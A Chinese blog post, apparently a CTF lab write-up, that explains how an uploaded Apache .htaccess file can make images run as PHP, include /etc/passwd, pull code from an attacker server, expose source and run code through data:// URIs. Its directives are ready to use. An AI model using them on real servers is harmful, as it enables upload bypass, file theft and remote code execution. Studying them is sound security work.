一、利用背景
有时由于各种原因,我们无法上传php文件,又或者无法解析上传的php文件,这时如果能上传.htaccess文件,就能解决一些问题
这里就总结并且复现一下.htaccess文件的利用
二、原理
.htaccess文件是Apache服务器中的一个配置文件,他负责当前目录下的网页配置;通过.htaccess文件,可以实现网页301重定向、自定
义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表配置默认文档等功能
三、.htaccess文件利用
本地使用phpstudy未成功,于是使用了BUUCTF的Upload-labs靶场(就是麻烦一点)
1、用法一
文件解析
利用.htaccess文件指定自定义文件名的文件,将其当做PHP解析
<FilesMatch "siii0">
SetHandler application/x-httpd-php
</FilesMatch>
AddType application/x-httpd-php .jpg
# 将 .jpg 当做 php解析
2、用法二
本地文件包含
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件,同时在本目录或子目录中需要有可解析的 php 文件来触发
#auto_prepend_file 在文件被解析前包含下列文件
php_value auto_prepend_file /etc/passwd
#auto_append_file 在文件解析后包含下列文件
php_value auto_append_file /etc/passwd
php文件中就被包含了本地文件
3、用法三
远程文件包含
PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启
php_value auto_append_file http://vpsip/hack.txt
这时重新访问php文件,代码被包含了
知识点:
这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中
例如 output_buffering 指令是属于
PHP_INI_PERDIR
,因而就不能用 ini_set() 来设定。但是 display_errors 指令是属于PHP_INI_ALL
因而就可以在任何地方被设定,包括 ini_set()。
4、用法四
源码泄露
利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露
php_flag engine 0
php无法被解析(我的后门也没了。。)
5、用法五
代码执行
(1)利用伪协议
all_url_fopen、all_url_include 为 On(2)解析.htaccess
(1)
php_value auto_append_file data://text/plain;base64,PD9waHAgdmFyX2R1bXAoImhhY2tlciIpOw==
(2)
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
(3)
php_value auto_append_file .htaccess
#<?php phpinfo();
(1)
(2) 和第一种是一样的,一定要注意url编码,否则就会报500
(3)
包含了.htaccess,其中的注释被php解析执行了
- 本文链接:http://siii0.github.io/htaccess%E6%96%87%E4%BB%B6%E7%9B%B8%E5%85%B3%E5%88%A9%E7%94%A8/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。